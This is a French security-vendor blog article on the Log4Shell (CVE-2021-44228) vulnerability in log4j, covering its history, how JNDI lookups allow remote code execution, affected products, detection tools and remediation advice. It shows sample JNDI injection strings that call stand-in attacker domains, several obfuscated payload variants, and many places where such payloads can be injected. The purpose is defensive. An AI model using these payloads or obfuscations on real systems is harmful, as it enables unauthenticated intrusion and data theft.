15/12/2021
Cybersecurity Insights
Log4Shell : Le cadeau de Noël empoisonné en cette fin d’année
Article mis à jour le 21 décembre 2021
Après une année riche en actualités sur le plan de la sécurité informatique, la fin 2021 donne le coup d’envoi d’un marathon pour les DSI et RSSI avec la vulnérabilité baptisée sous le doux nom de log4shell, présente dans une bibliothèque Java (log4j) qui permet de prendre le contrôle à distance, sans authentification, d’une liste immense de produits présents dans tous les systèmes d’informations en général, et qui demandera beaucoup d’efforts à tous les secteurs liés à l’informatique pour être corrigée.
La bibliothèque log4j
Java est un langage de programmation ultra populaire qui est utilisé pour des applications et des services web, mais aussi pour des applications mobiles, des backends, des serveurs et équipements qui présentent une interface web, etc. Ceci est dû à sa bonne portabilité entre les OS et au fait que ce langage dit de « haut niveau », facilite la vie des développeurs, grâce à de nombreuses méthodes préconstruites.
La bonne pratique de tout bon développeur qui se respecte est de journaliser (loguer) les événements qui se produisent sur la solution qu’il développe, principalement pour des raisons de corrections de bugs ou pour guider les corrections de problèmes en production. Pour ce faire, Java propose par défaut une bibliothèque native intitulée java.util.logging. Pour différentes raisons, notamment dû à sa simplicité / pauvreté, cette dernière est peu utilisée, et une bibliothèque alternative plus complexe et complète a été créée : log4j. https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541
Il faut donc voir log4j comme une bibliothèque Open Source, qui permet de journaliser (loguer) de manière enrichie tout ce qui est nécessaire de l’être dans le code Java et de ce qui en découle lors de son exécution. Et cette petite bibliothèque, en réalité maintenue par deux volontaires sur leur temps personnel, demeure la principale bibliothèque utilisée dans les applications en Java (près de 800.000 projets l’utilisent sur GitHub).
A peu de choses près, on peut résumer la situation à :
Source de l’image : https://xkcd.com/2347/
Historique
En 2013, une nouvelle fonctionnalité a été demandée, par une tierce personne, sur le projet, et implémentée par les mainteneurs, entrainant la création de la vulnérabilité.
En 2015, un APT (groupe de cyberattaquants aux méthodes évoluées) gouvernemental exploite une vulnérabilité apparentée, à base de Java en mode applet sur RMI / JNDI et impactant le site de la Maison Blanche et de l’OTAN.
En 2016 a lieu une présentation à la conférence BlackHat, d’une attaque par désérialisation sur JNDI, mais lors de laquelle il reste malgré tout compliqué de faire un lien avec log4j :
Par des vecteurs JNDI, des attaquants peuvent produire une URL absolue changeant le protocole / fournisseur :
- rmi://attacker-server/bar
- ldap://attacker-server/cn=bar,dc=test,dc=org
- iiop://attacker-server/bar
D’autres protocoles peuvent être utilisés pour réaliser l’attaque : http, corba, java, nis, dns, ldaps, nds,…
Il a été trouvé trois vecteurs principaux pour acquérir une exécution de code à distance à travers une injection JNDI :
- RMI :
- Référence JNDI,
- Objet distant,
- Via CORBA :
- IOR,
- Via LDAP :
- Objets serialisés,
- Référence JNDI,
- Localisation distantes,
Via un vecteur RMI : Payload qui réfère à JNDI
- Payload: JNDI Reference:
- Class Name: Payload
- Factory Name: PayloadFactory
- Factory Codebase: http://attacker-server/
- Naming Manager Decoding Method
2021 voit la première occurrence connue de l’utilisation de la vulnérabilité log4shell par des joueurs Minecraft en l’exploitant telle que présentée dans la conférence de la BlackHat de 2016 par désérialisation JNDI et l’auraient utilisée pour neutraliser des serveurs concurrents.
Toujours est-il que l’exploitation de la vulnérabilité a fini par être découverte, puis adressée aux deux développeurs bénévoles de log4j, qui l’ont aussitôt précorrigée. Cela étant, ces derniers n’ont pas notifié qu’il s’agissait vraiment d’une vulnérabilité au sens sécurité, ce qui a enterré le sujet pour quelques temps, n’a pas encouragé les utilisateurs à mettre à jour leurs versions, et a permis à ceux qui avaient connaissance de la faille de l’exploiter largement.
Mais Chen Zhaojun, chercheur de l’équipe sécurité d’Alibaba Cloud, qui cherchait à comprendre la raison de la dernière mise à jour, a officiellement reporté la correction comme étant une faille de sécurité le 12 novembre 2021.
Et là, c’est le drame : dans les jours qui ont suivi, de plus en plus de chercheurs ont essayé de comprendre la mesure de cette faille de sécurité avec surtout la publication des premiers codes d’exploitation les jeudi et vendredi dernier (9 et 10 décembre).
En quoi consiste la vulnérabilité log4shell ?
Log4j est un module qui, par défaut, essaie de trouver des variables dans les journaux pour les remplacer par leur valeur lorsqu’il analyse une chaine de caractère. A titre d’exemple, la variable ${username} permet de récupérer le nom de l’utilisateur courant.
Log4j interprète en particulier les JNDI, ces fameux Java Naming and Directory Interface, qui sont des interfaces logicielles permettant de récupérer le contenu d’une variable au travers du réseau (dont la vulnérabilité a été présenté à la BlackHat de 2016).
Dans le détail, comme indiqué plus haut, JNDI permet plusieurs types d’accès au réseau : annuaire (LDAP), résolution de nom (DNS), objet de type CORBA, appels à des méthodes distance (RMI), ou simplement des appels web (HTTP et HTTPS). Par exemple, dans le cas de JNDI, la variable ${jndi:ldap://domaine-malveillant.com/exploit} permet de récupérer une class Java par une requête d’annuaire LDAP. Cette fonctionnalité historique date de l’époque où Java appartenait à Sun/Oracle.
En conséquence, si une application utilisant Log4j reçoit une chaine de caractères contenant une variable JNDI, alors, elle sera interprétée par Log4j. Et si cette variable contient un lien vers un domaine contrôlé par un attaquant, ce dernier pourra répondre par une class Java qui sera exécutée, et qui sera, par exemple, en mesure d’installer un beacon Cobalt Strike.
La vulnérabilité (baptisée CVE-2021-44228) possède un score CVSSv3 de 10/10, c’est-à-dire le maximum possible, ce qui est assez rare. Il faut bien mesurer qu’il s’agit d’une exécution de code arbitraire à distance, sans authentification, qui plus est en Java, qui est très utilisé, et elle est surtout très facile à exploiter ce qui justifie amplement qu’elle ait le niveau de criticité le plus élevé.
La vulnérabilité s’activant lors de la réception de la chaine de caractères à journaliser, si une ligne de log est envoyée à n’importe quel collecteur de logs utilisant Log4j, où qu’il soit, il sera possible d’exécuter du code sur cet équipement, même s’il n’est pas exposé sur internet. C’est cette capacité à pénétrer le SI en profondeur qui rend la vulnérabilité si critique : si vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs, il peut être compromis.
Où la vulnérabilité est-elle présente ?
Une quantité astronomique d’entreprises, d’applications et de services, sont vulnérables, tellement Java est utilisé de manière omniprésente dans les SI. Voici plusieurs listes des produits vulnérables :
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
- https://github.com/NCSC-NL/log4shell/tree/main/software?s=09#software-overview
- https://www.rumble.run/blog/finding-log4j/
Même les GAFAM sont touchés : Apple avec iCloud, AWS dont le service S3, mais aussi Azure. Not « too big to fall ».
Également de grands noms du domaine de l’infrastructure : Cisco sur beaucoup de produits, CloudFlare, VMWare dont vCenter, le proxy Cloud de Zscaler, les Apache Solr, Druid, Flink, Struts2, etc.
De nombreux backends d’éditeurs d’EDR, dont des leaders du marché, peuvent être compromis, et laissent potentiellement accès aux données des clients.
Bien sûr, beaucoup de services qui traitent des logs et du monitoring (tels les SIEMs), même non exposés sur le web, le sont aussi : ELK, Splunk, Logstash, SolarWinds, etc.
Au-delà des éditeurs impactés, si l’on se concentre sur les nombreuses applications “faites maison” qui sont légions dans les SI, c’est aussi le fait que cette vulnérabilité soit exploitable de façons extrêmement variées qui rend compliquée la mise en service de moyens de mitigations par des contournements. Par exemple, la vulnérabilité est exploitable en utilisant une simple requête HTTP sur un site ou une application vulnérable, et en mettant le payload dans les entêtes classiques comme Referer, User-Agent, ou XFF, du temps qu’elle est loguée et son champ interprété. Exemples de services web en Java qui vont journaliser certains des entêtes comme User-Agent : https://twitter.com/u039b/status/1469375014046687239?s=11
La vulnérabilité est également exploitable en positionnant le payload dans :
- Certains en-têtes des mails, et même l’adresse mail de l’expéditeur (car la chaine coucou+(${jndi:ldap://domaine-malveillant.com/exploit})@mon-domaine.com » est une adresse mail valide au sens de la RFC 822),
- L’identifiant et le mot de passe pour s’authentifier sur un site (vu sur un réseau social),
- Le nom d’un réseau Wi-Fi, ou d’un nom d’appareil mobile sur un réseau Bluetooth,
- Les métadonnées des images et des fichiers type PDF, Word, Excel…
- Nom de fichier sur un site de Pasties (Pastbin),
- Revue documentaire d’un livre,
- Contenu d’un SMS,
- Ticket remonté au support client,
Versions affectées :
- log4j versions 2.0-beta9 à 2.12.1 > A mettre à jour vers log4j-2.12.3 pour Java7
- log4j versions 2.13.0 à 2.15.0 > A mettre à jour vers log4j-2.17.0 pour Java8 ou supérieur
Qui exploite la vulnérabilité et dans quel but ?
Comme lors de toute publication d’une vulnérabilité avec un code d’exploitation dans la nature impactant des actifs exposés sur le web, la campagne d’exploitation commence par des sessions de scans massifs venant du web. Selon Kaspersky, les IP publiques remontées dans les premiers jours de la campagne de scan sont principalement en provenance de la Russie et du Brésil, mais étonnamment, très peu de Chine. Voici des listes d’IPs et domaines connus à bloquer sans trop de crainte :
- https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217
- https://gist.github.com/blotus/f87ed46718bfdc634c9081110d243166
Pour l’instant, on n’observe que le déploiement de cryptomineurs, et assez peu de ransomware (seul Khonsari a été reporté mardi 14 décembre). Mais ceci peut facilement s’expliquer par le fait :
- Qu’il faut un certain temps pour effectuer l’escalade de privilèges dans un SI et compromettre l’AD,
- Que ce ne sont pas les mêmes groupes qui exploitent ces vulnérabilités en déposant des backdoors qui sont revendues sur le Darknet, au profit d’autres groupes qui, eux, compromettent l’AD et déploient le ransomware.
- Que d’autres types d’attaques tout aussi lucratives, beaucoup plus furtives et qui laissent peu de traces passent sous le radar : les vols de données numériques et de propriété intellectuelle par exfiltration de données. Sophos indique qu’il a observé des attaquants contacter des EC2 ou Bucket S3 AWS pour y voler tous les jetons API des applications, logins et mots de passe, clefs privées, etc. Ces attaques, en première apparence moins impactantes qu’un ransomware, sont, en effet, moins traquées par les autorités judiciaires. Il est donc plus probable de passer entre les mailles du filet judiciaire qui a vu, ces derniers mois, attraper de nombreux groupes non « bulletproof » en Europe. Le gain financier étant tout aussi intéressant que dans les attaques par ransomware, puisque les données récoltées se revendent très bien sur le Darknet contre Bitcoin et Monero.
A noter que ces reventes de données récoltées (dont des backdoors déposées) pourront être exploitées dans les jours, semaines et mois suivants par des groupes ransomware. Il ne faut donc surtout pas se sentir protégé si le sentiment de première vague retombe et que la pression médiatique s’amenuise. Typiquement, les groupes APT gouvernementaux / services de renseignements sont adeptes de la multiplicité de backdoors dans un SI victime, pour finalement n’utiliser qu’une des backdoors répondant, parfois longtemps après l’avoir déployée.
Comment détecter l’exploitation de la vulnérabilité dans son SI ?
- L’outil public Nuclei : Le test a été intégré à Nuclei et repose sur un appel externe à interactsh.com. Ce n’est pas d’une grande discrétion car l’utiliser fera que les hébergeurs de interactsh sauront que l’utilisateur est vulnérable. D’autre part, à date, le test n’est effectué que dans 3 en-têtes, ne va pas tester les paramètres HTTP (ni en POST ni en GET). Ça n’est donc pas le meilleur outil, mais il fera l‘affaire en entrée de gamme : https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml
- Florian Roth a mis en ligne un outil (il suffit de lancer l’outil à la racine d’un serveur) permettant de rechercher la présence de trace d’exploitation, même dans les archives en .gz (à noter que pour VMWare, le répertoire à scanner est /storage/log/vmware/) : https://github.com/Neo23x0/log4shell-detector
- Un outil du CERT Michelin incluant un module de découverte (pour la recherche récursive : dir -Recurse | Select-String -pattern « log4j » et grep -r « *log4j* ») : https://github.com/certmichelin/Redscan/tree/log4shell
- Burp : Voici un plugin pour Burp permettant de détecter une cible vulnérable (il utilise une dizaine de techniques d’obfuscation et test nombreux entêtes : user-agent, référer, x-forwarded-for, x-real-ip…) : https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f et https://github.com/portswigger/log4shell-scanner
- Scanner local multi-os : https://github.com/hillu/local-log4j-vuln-scanner
- Scanner local Windows signé CERTCC : https://github.com/CERTCC/CVE-2021-44228_scanner
- Scanner online pour du Hunting : https://github.com/fullhunt/log4j-scan (le Security Rating d’Almond utilise également cet outil),
Copiez le token généré :
Le payload se constitue alors de : ${jndi:ldap:// fh1plcnattqthz612javvp1l3.canarytokens.com/a}
Il est alors utilisable pour tester une application, dans un paramètre de recherche, par exemple.
Pour tester le bon fonctionnement d’un payload, vous trouverez ici une application vulnérable réalisée exprès pour ça : https://github.com/leonjza/log4jpwn
Source de l’image : CERT-DS
Détecter la présence de la vulnérabilité avec le Security Rating
Le Security Rating est un service proposé par Almond. Son objectif est de produire une note représentant la performance et la maturité cyber sécurité d’une organisation par une évaluation automatisée, continue et reproductible sur la base de données observables publiquement. Au regard de la sévérité de log4shell, la société Almond a décidé d’implémenter un test dédié au sein même du Security Rating. Ce test, non intrusif, permet de recenser les actifs potentiellement vulnérables d’une entreprise.
Si vous êtes déjà client, vous pouvez consulter les résultats de ce test dans la partie « Contrôle de sécurité », disponible sur l’évaluation d’une société :
Le problème de l’obfuscation
Du fait des différentes possibilités d’écritures des chemins JNDI et de leur interprétation par Java, il est possible de facilement obfusquer l’exploit (on en compte plus d’une soixantaine dans la nature mardi 14 décembre). En voici quelques exemples :
- ${jndi:dns://ici-le-domaine-malveillant.com/exploit}
- ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit}
- ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
- ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}
Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832
Voici un repository Github de CrowdSec contenant des exploits à taguer dans votre WAF : https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/log4j2_cve_2021_44228.txt
Cela dit, il existe tellement d’entreprises exposées à la vulnérabilité sur le web, pour encore plusieurs semaines / mois, que la généralisation de l’obfuscation pourrait mettre un peu de temps à arriver. Mais attention, des PoC ont été vus depuis samedi 11 décembre à ce sujet. Ces obfuscations présentent un intérêt évident, dès à présent, pour les APT qui ciblent des entités particulières en liste blanche (à la différence des attaques opportunistes des groupes cybercriminels).
C’est aussi le fait que cette vulnérabilité soit exploitable de manières extrêmement variées qui rend compliquée son contournement ou la production de moyens de mitigations. Il est donc indispensable, en plus de mener une campagne de contournement court-termiste, de planifier coute que coute un plan d’upgrade de la bibliothèque elle-même.
Comment répondre à la menace ?
Recommandation n°1 : Prévoir un marathon.
La remédiation se fera dans la durée. Ne mettez pas vos équipes sur le pont à bosser 100 heures cette semaine, car les semaines suivantes risquent d’être également longues, et ce, pour un long moment.
Pour ne rien arranger, les fêtes de fin d’année, les équipes réduites, et les freezes de fin d’année réduiront la possibilité de réagir vite et fort.
En guise d’exemple, quand on sait que VMWare vSphere est impacté et que les séances de patching vont imposer les redémarrages de tous les hyperviseurs, certaines DSI vont avoir de longs weekends à venir.
Recommandation n°2 : Se réapproprier son SI.
S’il est rare de voir une société posséder une CMDB à jour, celles qui dressent la liste de leurs applications et de leurs dépendances sont infimes. La première étape opérationnelle va être de dresser une liste précise des applications, services, éditeurs présents dans le SI qui sont susceptibles d’utiliser log4j. Ainsi, plus concrètement :
- Sur tous les serveurs sur lesquels les équipes d’administration ont accès au système de fichiers, il faut traquer ceux qui utilisent Java.
- Et parmi les serveurs qui utilisent Java, il faut identifier ceux qui utilisent log4j (aidez-vous des outils cités plus haut). A noter que la présence de log4j n’implique pas forcément son utilisation par une application, mais dans le doute, il ne faut pas prendre de risque. Il est conseillé de prioriser en commençant par les machines exposées sur Internet. Dans tous les cas, il faut partir du principe qu’il sera impossible de confirmer à 100% la non présence du fichier .jar sur un serveur, car ceux-ci s’installent n’importe où. Vérifier une liste d’applications installée ne sera pas d’une plus grande efficacité.
- Pour les boites noires, il faut rester attentifs aux communications des éditeurs quant aux mises à jours de sécurité proposées et aux listes publiques d’équipements et produits vulnérables (cf les listes citées plus haut). Un éditeur qui se déclare non vulnérable ne l’est que jusqu’à ce qu’il révise sa position : il faudra rester vigilant dans la durée.
- Ensuite, il faudra identifier les serveurs qui utilisent les versions 1.x ou 2.0 – 2.15.0 de log4j pour Java 7 ou 8+, car ceci vous guidera dans vos roadmaps de remédiation avec un choix cornélien : mettre à jour ou appliquer un contournement. La version 1.x doit également être mise à jour, car vulnérable à un autre exploit de score CVSSv3 critique de 9.8 qui date de 2019 (CVE-2019-17571).
Recommandation n°3 : Activer un filtrage sortant strict et segmenter.
L’exploitation de la vulnérabilité se fait en répondant à la requête de l’attaquant. La priorité n°1 est donc de désactiver l’accès à internet pour les serveurs qui n’en ont pas besoin. Mais ceci enfonce une porte ouverte, puisqu’il est inutile de rappeler que dans les bonnes pratiques, tout serveur interne est bien cloisonné et ne laisse sortir aucun trafic vers internet. Il existe cependant des exceptions pour les serveurs propriétaires qui ont besoin de contacter leur éditeur pour des raisons de licence, mais cet accès à internet doit être filtré par une liste blanche.
S’équiper d’un proxy et plus généralement d’un WAF va se révéler plus utile que jamais. Mais attention, comme les éditeurs de WAF vont développer des filtres pour parer les attaques, les attaquants vont finir par s’adapter et passer outre au bout d’un moment. Le joker WAF ne peut être qu’une solution temporaire de protection.
Par ailleurs, en cas de prise de position dans le SI par un attaquant, une des meilleures pratiques pour la ralentir et/ou limiter ses actions reste, a minima, de segmenter correctement son SI afin d’isoler les applications critiques et les fonctions d’administration du reste.
Recommandation n°4 : Appliquer les correctifs temporaires de contournement.
En bloquant les variables DNS et en filtrant le trafic vers internet (point n°3), il doit être possible d’éviter d’avoir à mettre à jour son code Java dans l’urgence. Ce postulat est intéressant, car la mise à jour du code représente un défi énergivore pour les applications maisons, avec de longues campagnes de tests de non-régression.
Voici comment mettre en place une variable désactivant les résolutions de noms, ce qui permettra de diminuer l’exploitation de la vulnérabilité :
- Soit en modifiant la ligne de commande de l’appel au logiciel : # java … ‐Dlog4j2.formatMsgNoLookups=True … -jar mon_appli_toute_moisie.jar
- Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exécutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
- Pour les applications en Docker, dans les fichiers dockerfile ou docker-compose.yml, plus d’informations ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/
Plus d’informations ici : https://www.rumble.run/blog/finding-log4j/
Mais attention : les contournements ne font que rendre plus complexe l’exploitation de la vulnérabilité pour les attaquants. Tout comme avec la mise en place des règles sur les WAF, il va y avoir une course poursuite entre propositions de contournement et obfuscation / évolution des techniques des attaquants. La seule solution pérenne et efficace reste de mettre à jour la bibliothèque log4j.
Recommandation n°5 : Patcher et mettre à jour
Il devrait y avoir de nombreuses propositions de patchs successifs de la part des éditeurs, car la vulnérabilité ne sera pas aisée à fixer définitivement pour de nombreux produits. Ceci s’explique par le fait que les éditeurs font bien souvent face aux mêmes défis que nous : les premiers patchs, disponibles rapidement, rendent l’exploitation de la vulnérabilité plus compliquée pour les attaquants, puis les patchs suivants désactivent définitivement la possibilité de son exploitation. Dans le cas d’applications maison, il n’y a pas d’autre issue possible que la mise à jour vers log4j 2.17.0.
Recommandation n°6 : Avoir un plan et des moyens pour la sécurité de son SI.
A terme, il faudra fiabiliser la gouvernance et l’analyse de risques au sein de l’équipe de sécurité de son SI en lui donnant des moyens financiers et humains pour faire de la veille pour surveiller les communications des éditeurs, regarder les bulletins du CERT-FR de l’ANSSI, qui reste une référence francophone, mais aussi regarder les logs dans la durée, mais aussi dans le passé, pour détecter une éventuelle compromission. Attention, les logs qui remontent peuvent avoir un retard de plusieurs heures : il faut pouvoir réagir vite et bien quand un positif remonte.
Dans cette démarche d’amélioration continue de la maturité de la sécurité de son SI, il peut être utile de faire appel à un SOC dans une démarche efficace et pérenne. Le SOC CERT CWATCH Almond, fort de sa longue expérience, et se ferait un plaisir de vous compter parmi les clients qu’il protège 😊
Recommandation n°7 : Soutenir le développement libre.
Tout ceci ne serait peut-être pas arrivé si la communauté Java ne s’était pas reposée sur une bibliothèque entretenue depuis 2003 par deux individus travaillant en best effort sur leur temps personnel. Aider en finançant la communauté Open Source est indispensable pour notre avenir. Les fondations Mozilla et Wikipédia, émanations grand public du développement collaboratif, en sont les avatars et vous êtes heureux d’en profiter quotidiennement. Soutenez-les et parlez-en autour de vous.
Sources
- https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
- https://www.nolimitsecu.fr/log4shell/
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://www.nomios.fr/actualite/apache-log4j2-remote-code-execution-vulnerability-cve-2021-44228/
- https://greenlock.ghost.io/log4j-ou-log4shell-la-javapocalypse-cve-2021-44228/
- https://www.rumble.run/blog/finding-log4j/
